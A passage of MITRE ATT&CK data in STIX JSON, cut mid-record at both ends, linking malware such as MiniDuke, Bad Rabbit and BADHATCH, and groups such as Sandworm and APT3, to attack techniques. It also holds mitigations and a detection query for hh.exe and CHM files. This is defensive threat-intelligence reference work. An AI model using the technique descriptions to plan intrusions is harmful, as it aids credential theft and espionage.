MiniDuke Mystery: PDF 0-day Government Spy Assembler 0x29A Micro Backdoor. Retrieved April 5, 2017.","url":"https://cdn.securelist.com/files/2014/07/themysteryofthepdf0-dayassemblermicrobackdoor.pdf"}],"modified":"2020-03-17T01:51:14.536Z","description":"[MiniDuke](https://attack.mitre.org/software/S0051) uses Google Search to identify C2 servers if its primary C2 method via Twitter is not working.(Citation: Securelist MiniDuke Feb 2013)","relationship_type":"uses","source_ref":"malware--5e7ef1dc-7fb6-4913-ac75-e06113b59e0c","target_ref":"attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--62c9428a-c3cf-476e-b125-a6478bc1bfa1","type":"relationship","created":"2021-03-29T18:52:06.405Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Bad Rabbit","url":"https://www.welivesecurity.com/2017/10/24/bad-rabbit-not-petya-back/","description":"M.Léveille, M-E.. (2017, October 24). Bad Rabbit: Not‑Petya is back with improved ransomware. Retrieved January 28, 2021."}],"modified":"2021-05-04T19:28:12.969Z","description":"[Bad Rabbit](https://attack.mitre.org/software/S0606) has used [Mimikatz](https://attack.mitre.org/software/S0002) to harvest credentials from the victim's machine.(Citation: ESET Bad Rabbit)","relationship_type":"uses","source_ref":"malware--2eaa5319-5e1e-4dd7-bbc4-566fced3964a","target_ref":"attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--62c9a1c7-557e-433b-b422-3427a308f34e","type":"relationship","created":"2020-03-26T16:17:09.647Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-09T18:44:34.017Z","description":"Update software regularly to include patches that fix DLL side-loading vulnerabilities.","relationship_type":"mitigates","source_ref":"course-of-action--e5d930e9-775a-40ad-9bdb-b941d8dfe86b","target_ref":"attack-pattern--aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--62ca66d8-fad3-4504-a002-243e3382c280","type":"relationship","created":"2022-03-30T14:26:51.862Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.862Z","description":"Monitor DLLs that are loaded by spoolsv.exe for DLLs that are abnormal. New DLLs written to the System32 directory that do not correlate with known good software or patching may be suspicious.","source_ref":"x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1","target_ref":"attack-pattern--43881e51-ac74-445b-b4c6-f9f9e9bf23fe","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--62d56cae-9131-4088-ad0a-810a731d2a9f","created":"2023-08-01T18:28:53.371Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"BitDefender BADHATCH Mar 2021","description":"Vrabie, V., et al. (2021, March 10). FIN8 Returns with Improved BADHATCH Toolkit. Retrieved September 8, 2021.","url":"https://www.bitdefender.com/files/News/CaseStudies/study/394/Bitdefender-PR-Whitepaper-BADHATCH-creat5237-en-EN.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-19T13:35:02.562Z","description":"[BADHATCH](https://attack.mitre.org/software/S1081) can use SOCKS4 and SOCKS5 proxies to connect to actor-controlled C2 servers. [BADHATCH](https://attack.mitre.org/software/S1081) can also emulate a reverse proxy on a compromised machine to connect with actor-controlled C2 servers.(Citation: BitDefender BADHATCH Mar 2021)","relationship_type":"uses","source_ref":"malware--3553b49d-d4ae-4fb6-ab17-0adbc520c888","target_ref":"attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--62d5e701-4fdc-4a1f-8c0a-3861e26d28ce","type":"relationship","created":"2021-09-28T15:46:10.810Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Checkpoint IndigoZebra July 2021","url":"https://research.checkpoint.com/2021/indigozebra-apt-continues-to-attack-central-asia-with-evolving-tools/","description":"CheckPoint Research. (2021, July 1). IndigoZebra APT continues to attack Central Asia with evolving tools. Retrieved September 24, 2021."}],"modified":"2021-09-28T15:46:10.810Z","description":"(Citation: Checkpoint IndigoZebra July 2021)","relationship_type":"uses","source_ref":"intrusion-set--e5603ea8-4c36-40e7-b7af-a077d24fedc1","target_ref":"malware--919a056e-5104-43b9-ad55-2ac929108b71","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--62d69501-41a6-4c7a-8d54-760d0f0c5495","created":"2022-03-30T14:26:51.838Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"MsitPros CHM Aug 2017","description":"Moe, O. (2017, August 13). Bypassing Device guard UMCI using CHM – CVE-2017-8625. Retrieved October 3, 2018.","url":"https://oddvar.moe/2017/08/13/bypassing-device-guard-umci-using-chm-cve-2017-8625/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-27T20:52:57.512Z","description":"Monitor and analyze the execution and arguments of hh.exe. (Citation: MsitPros CHM Aug 2017) Compare recent invocations of hh.exe with prior history of known good arguments to determine anomalous and potentially adversarial activity (ex: obfuscated and/or malicious commands). Non-standard process execution trees may also indicate suspicious or malicious behavior, such as if hh.exe is the parent process for suspicious processes and activity relating to other adversarial techniques.\n\nNote: Event IDs are for Sysmon (Event ID 1 - process create) and Windows Security Log (Event ID 4688 - a new process has been created). The Analytic looks for the creation of any HTML Help Executable ( hh.exe ) processes. Adversaries may hide malicious code in .chm compiled help files; whenever a user tries to open one of these files, Windows executes the HTML Help Executable. Therefore, if there are legitimate uses of compiled help files in your environment, this analytic may lead to false positives and will require additional tuning. \n\nAnalytic 1 - Compiled HTML Access\n\n (source=\"*WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=\"1\") OR (source=\"*WinEventLog:Security\" EventCode=\"4688\") Image=\"C:\\\\Windows\\\\syswow64\\\\hh.exe\" OR Image=\"C:\\\\Windows\\\\system32\\\\hh.exe\" ","relationship_type":"detects","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--a6937325-9321-4e2e-bb2b-3ed2d40b2a9d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--62d8cec2-c94f-4a18-ab0a-0a182e30f33a","type":"relationship","created":"2019-06-25T12:09:15.655Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://labs.mwrinfosecurity.com/blog/add-in-opportunities-for-office-persistence/","description":"Knowles, W. (2017, April 21). Add-In Opportunities for Office Persistence. Retrieved July 3, 2017.","source_name":"MRWLabs Office Persistence Add-ins"}],"modified":"2021-08-16T21:25:04.393Z","description":"Follow Office macro security best practices suitable for your environment. Disable Office VBA macros from executing.\n\nDisable Office add-ins. If they are required, follow best practices for securing them by requiring them to be signed and disabling user notification for allowing add-ins. For some add-ins types (WLL, VBA) additional mitigation is likely required as disabling add-ins in the Office Trust Center does not disable WLL nor does it prevent VBA code from executing. (Citation: MRWLabs Office Persistence Add-ins)","relationship_type":"mitigates","source_ref":"course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31","target_ref":"attack-pattern--2c4d4e92-0ccf-4a97-b54c-86d662988a53","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--62e35388-0f7d-4434-af87-6f6c09a1a12b","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Unit 42 Bisonal July 2018","description":"Hayashi, K., Ray, V. (2018, July 31). Bisonal Malware Used in Attacks Against Russia and South Korea. Retrieved August 7, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/07/unit42-bisonal-malware-used-attacks-russia-south-korea/"},{"source_name":"Talos Bisonal Mar 2020","description":"Mercer, W., et al. (2020, March 5). Bisonal: 10 years of play. Retrieved January 26, 2022.","url":"https://blog.talosintelligence.com/2020/03/bisonal-10-years-of-play.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-11T02:53:57.006Z","description":"[Bisonal](https://attack.mitre.org/software/S0268)'s DLL file and non-malicious decoy file are encrypted with RC4 and some function name strings are obfuscated.(Citation: Unit 42 Bisonal July 2018)(Citation: Talos Bisonal Mar 2020)","relationship_type":"uses","source_ref":"malware--65ffc206-d7c1-45b3-b543-f6b726e7840d","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--62ed20e9-07e5-4e22-a8dd-b93ab89706e3","created":"2023-09-27T14:39:00.801Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Booz Allen Hamilton","description":"Booz Allen Hamilton When The Lights Went Out Retrieved. 2019/10/22 ","url":"https://www.boozallen.com/content/dam/boozallen/documents/2016/09/ukraine-report-when-the-lights-went-out.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-27T15:21:58.895Z","description":"During the [2015 Ukraine Electric Power Attack](https://attack.mitre.org/campaigns/C0028), [Sandworm Team](https://attack.mitre.org/groups/G0034) installed a modified Dropbear SSH client as the backdoor to target systems. (Citation: Booz Allen Hamilton)","relationship_type":"uses","source_ref":"campaign--46421788-b6e1-4256-b351-f8beffd1afba","target_ref":"attack-pattern--10d51417-ee35-4589-b1ff-b6df1c334e8d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--62eee3f5-f7ab-4029-a690-635452f1def7","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Linfo May 2012","description":"Zhou, R. (2012, May 15). Backdoor.Linfo. Retrieved February 23, 2018.","url":"https://www.symantec.com/security_response/writeup.jsp?docid=2012-051605-2535-99"}],"modified":"2020-03-20T02:11:07.233Z","description":"[Linfo](https://attack.mitre.org/software/S0211) creates a backdoor through which remote attackers can delete files.(Citation: Symantec Linfo May 2012)","relationship_type":"uses","source_ref":"malware--e9e9bfe2-76f4-4870-a2a1-b7af89808613","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--62f16083-efca-477c-8107-e208ca4c75cb","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"aptsim","description":"valsmith. (2012, September 21). More on APTSim. Retrieved September 28, 2017.","url":"http://carnal0wnage.attackresearch.com/2012/09/more-on-aptsim.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-05T20:57:13.754Z","description":"[APT3](https://attack.mitre.org/groups/G0022) has been known to add created accounts to local admin groups to maintain elevated access.(Citation: aptsim)","relationship_type":"uses","source_ref":"intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9","target_ref":"attack-pattern--3e6831b2-bf4c-4ae6-b328-2e7c6633b291","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--62f2c1a6-3019-44a0-a750-794677ddabd0","created":"2020-11-25T22:46:47.712Z","x_mitre_version":"1.0","external_references":[{"source_name":"Dragos Crashoverride 2018","url":"https://www.dragos.com/wp-content/uploads/CRASHOVERRIDE2018.pdf","description":"Joe Slowik. (2018, October 12). Anatomy of an Attack: Detecting and Defeating CRASHOVERRIDE. Retrieved December 18, 2020."},{"source_name":"US District Court Indictment GRU Unit 74455 October 2020","url":"https://www.justice.gov/opa/press-release/file/1328521/download","description":"Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Sandworm Team](https://attack.mitre.org/groups/G0034) has enumerated files on a compromised host.(Citation: US District Court Indictment GRU Unit 74455 October 2020)(Citation: Dragos Crashoverride 2018)","modified":"2022-06-30T20:19:13.571Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--62f3aaef-917b-42fa-9fe9-e21f674caa90","created":"2022-01-12T14:32:08.170Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Novetta Winnti April 2015","description":"Novetta Threat Research Group. (2015, April 7). Winnti Analysis. Retrieved February 8, 2017.","url":"https://web.archive.org/web/20150412223949/http://www.novetta.com/wp-content/uploads/2015/04/novetta_winntianalysis.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-20T22:02:53.992Z","description":"The [Winnti for Windows](https://attack.mitre.org/software/S0141) HTTP/S C2 mode can make use of a local proxy.(Citation: Novetta Winnti April 2015)","relationship_type":"uses","source_ref":"malware--d3afa961-a80c-4043-9509-282cdf69ab21","target_ref":"attack-pattern--f6dacc85-b37d-458e-b58d-74fc4bbf5755","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--62f8bcc0-2a5c-4e2d-987e-0f82acae86d7","type":"relationship","created":"2022-03-30T14:26:51.867Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.867Z","description":"Enable the Registry Global Object Access Auditing (Citation: Microsoft Registry Auditing Aug 2016) setting in the Advanced Security Audit policy to apply a global system access control list (SACL) and event auditing on modifications to Registry values (sub)keys related to SIPs and trust providers:(Citation: Microsoft Audit Registry July 2012)\n* HKLM\\SOFTWARE\\Microsoft\\Cryptography\\OID\n* HKLM\\SOFTWARE\\WOW6432Node\\Microsoft\\Cryptography\\OID\n* HKLM\\SOFTWARE\\Microsoft\\Cryptography\\Providers\\Trust\n* HKLM\\SOFTWARE\\WOW6432Node\\Microsoft\\Cryptography\\Providers\\Trust\n\n**Note:** As part of this technique, adversaries may attempt to manually edit these Registry keys (ex: Regedit) or utilize the legitimate registration process using [Regsvr32](https://attack.mitre.org/techniques/T1218/010).(Citation: SpectorOps Subverting Trust Sept 2017)\n\nPeriodically baseline registered SIPs and trust providers (Registry entries and files on disk), specifically looking for new, modified, or non-Microsoft entries.(Citation: SpectorOps Subverting Trust Sept 2017)","source_ref":"x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170","target_ref":"attack-pattern--543fceb5-cb92-40cb-aacf-6913d4db58bc","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft Registry Auditing Aug 2016","description":"Microsoft. (2016, August 31). Registry (Global Object Access Auditing). Retrieved January 31, 2018.","url":"https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/dn311461(v=ws.11)"},{"source_name":"Microsoft Audit Registry July 2012","description":"Microsoft. (2012, July 2). Audit Registry. Retrieved January 31, 2018.","url":"https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/dd941614(v=ws.10)"},{"source_name":"SpectorOps Subverting Trust Sept 2017","description":"Graeber, M. (2017, September). Subverting Trust in Windows. Retrieved January 31, 2018.","url":"https://specterops.io/assets/resources/SpecterOps_Subverting_Trust_in_Windows.pdf"},{"source_name":"SpectorOps Subverting Trust Sept 2017","description":"Graeber, M. (2017, September). Subverting Trust in Windows. Retrieved January 31, 2018.","url":"https://specterops.io/assets/resources/SpecterOps_Subverting_Trust_in_Windows.pdf"}]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--62f9aa2c-b0c1-4028-a2b8-c436e30ace4b","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Volexity PowerDuke November 2016","description":"Adair, S.. (2016, November 9). PowerDuke: Widespread Post-Election Spear Phishing Campaigns Targeting Think Tanks and NGOs. Retrieved January 11, 2017.","url":"https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/"}],"modified":"2019-04-22T22:31:38.335Z","description":"[PowerDuke](https://attack.mitre.org/software/S0139) has a command to list the victim's processes.(Citation: Volexity PowerDuke November 2016)","relationship_type":"uses","source_ref":"malware--00c3bfcb-99bd-4767-8c03-b08f585f5c8a","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--62fbc8c0-0b5c-4650-9f63-696925d5626c","type":"relationship","created":"2019-01-29T19:09:26.676Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://researchcenter.paloaltonetworks.com/2017/11/unit42-uboatrat-navigates-east-asia/","description":"Hayashi, K. (2017, November 28). UBoatRAT Navigates East Asia. Retrieved January 12, 2018.","source_name":"PaloAlto UBoatRAT Nov 2017"}],"modified":"2020-03-17T02:42:26.971Z","description":"[UBoatRAT](https://attack.mitre.org/software/S0333) has used HTTP for C2 communications.(Citation: PaloAlto UBoatRAT Nov 2017)","relationship_type":"uses","source_ref":"malware--518bb5f1-91f4-4ff2-b09d-5a94e1ebe95f","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--62fd473e-e045-4a47-828a-ab5ee7b4fcf0","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Patchwork","description":"Hamada, J.. (2016, July 25). Patchwork cyberespionage group expands targets from governments to wide range of industries. Retrieved August 17, 2016.","url":"http://www.symantec.com/connect/blogs/patchwork-cyberespionage-group-expands-targets-governments-wide-range-industries"},{"source_name":"Volexity Patchwork June 2018","description":"Meltzer, M, et al. (2018, June 07). Patchwork APT Group Targets US Think Tanks. Retrieved July 16, 2018.","url":"https://www.volexity.com/blog/2018/06/07/patchwork-apt-group-targets-us-think-tanks/"}],"modified":"2019-07-11T13:53:05.862Z","description":"[Patchwork](https://attack.mitre.org/groups/G0040) has used watering holes to deliver files with exploits to initial victims.(Citation: Symantec Patchwork)(Citation: Volexity Patchwork June 2018)","relationship_type":"uses","source_ref":"intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0","target_ref":"attack-pattern--d742a578-d70e-4d0e-96a6-02a9c30204e6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--62fe41c2-3ee6-45eb-a38e-a6c27d151933","created":"2023-01-05T19:26:11.193Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Google Iran Threats October 2021","description":"Bash, A. (2021, October 14). Countering threats from Iran. Retrieved January 4, 2023.","url":"https://blog.google/threat-analysis-group/countering-threats-iran/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-03T20:57:54.028Z","description":"[Magic Hound](https://attack.mitre.org/groups/G0059) has captured the IP addresses of visitors to their phishing sites.(Citation: Google Iran Threats October 2021)","relationship_type":"uses","source_ref":"intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13","target_ref":"attack-pattern--0dda99f0-4701-48ca-9774-8504922e92d3","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--63065346-29bd-40de-9826-04646cc5a9a6","created":"2024-07-29T22:25:41.400Z","revoked":false,"external_references":[{"source_name":"CERT-UA WinterVivern 2023","description":"CERT-UA. (2023, February 1). UAC-0114 aka Winter Vivern to target Ukrainian and Polish GOV entities (CERT-UA#5909). Retrieved July 29, 2024.","url":"https://cert.gov.ua/article/3761104"},{"source_name":"DomainTools WinterVivern 2021","description":"Chad Anderson. (2021, April 27). Winter Vivern: A Look At Re-Crafted Government MalDocs Targeting Multiple Languages. Retrieved July 29, 2024.","url":"https://www.domaintools.com/resources/blog/winter-vivern-a-look-at-re-crafted-government-maldocs/"},{"source_name":"SentinelOne WinterVivern 2023","description":"Tom Hegel. (2023, March 16). Winter Vivern | Uncovering a Wave of Global Espionage. Retrieved July 29, 2024.","url":"https://www.sentinelone.com/labs/winter-vivern-uncovering-a-wave-of-global-espionage/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-29T22:25:41.400Z","description":"[Winter Vivern](https://attack.mitre.org/groups/G1035) leverages malicious attachments delivered via email for initial access activity.(Citation: DomainTools WinterVivern 2021)(Citation: SentinelOne WinterVivern 2023)(Citation: CERT-UA WinterVivern 2023)","relationship_type":"uses","source_ref":"intrusion-set--75a07184-a7e5-4222-95a1-a04dbc96a29c","target_ref":"attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--63092968-deca-4af9-bda5-a3e05b4db40f","type":"relationship","created":"2020-03-19T20:22:29.445Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://github.com/PowerShellEmpire/Empire","description":"Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.","source_name":"Github PowerShell Empire"}],"modified":"2021-04-09T14:47:00.142Z","description":"[Empire](https://attack.mitre.org/software/S0363) contains modules that can discover and exploit unquoted path vulnerabilities.(Citation: Github PowerShell Empire)","relationship_type":"uses","source_ref":"tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3","target_ref":"attack-pattern--bf96a5a3-3bce-43b7-8597-88545984c07b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--63097f33-1259-4120-8fb0-3a1cf1b6d4ec","type":"relationship","created":"2020-02-12T16:34:07.077Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-02-12T16:34:07.077Z","relationship_type":"revoked-by","source_ref":"attack-pattern--91ce1ede-107f-4d8b-bf4c-735e8789c94b","target_ref":"attack-pattern--a2029942-0a85-4947-b23c-ca434698171d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--630d1f21-549f-415a-968c-bd3dc3c6fb7f","type":"relationship","created":"2020-09-23T17:54:32.102Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Dukes October 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf","description":"Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. Retrieved September 23, 2020."}],"modified":"2020-10-09T16:07:59.663Z","description":"[PolyglotDuke](https://attack.mitre.org/software/S0518) can use LoadLibraryW and CreateProcess to load and execute code.(Citation: ESET Dukes October 2019)","relationship_type":"uses","source_ref":"malware--3d57dcc4-be99-4613-9482-d5218f5ec13e","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--630dedba-136b-4ea3-956e-f8f38e96653d","type":"relationship","created":"2017-05-31T21:33:27.037Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Mandiant APT1","description":"Mandiant. (n.d.). APT1 Exposing One of China’s Cyber Espionage Units. Retrieved July 18, 2016.","url":"https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"}],"modified":"2019-08-20T13:08:13.415Z","description":"(Citation: Mandiant APT1)","relationship_type":"uses","source_ref":"intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662","target_ref":"tool--afc079f3-c0ea-4096-b75d-3f05338b7f60","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--630ef5c5-438d-4681-b4e9-b9dee3934848","type":"relationship","created":"2020-12-02T14:30:55.530Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro MacOS Backdoor November 2020","url":"https://www.trendmicro.com/en_us/research/20/k/new-macos-backdoor-connected-to-oceanlotus-surfaces.html","description":"Magisa, L. (2020, November 27). New MacOS Backdoor Connected to OceanLotus Surfaces. Retrieved December 2, 2020."},{"source_name":"20 macOS Common Tools and Techniques","url":"https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/","description":"Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved August 23, 2021."}],"modified":"2021-10-11T21:33:02.821Z","description":"[OSX_OCEANLOTUS.D](https://attack.mitre.org/software/S0352) can use the touch -t command to change timestamps.(Citation: Trend Micro MacOS Backdoor November 2020)(Citation: 20 macOS Common Tools and 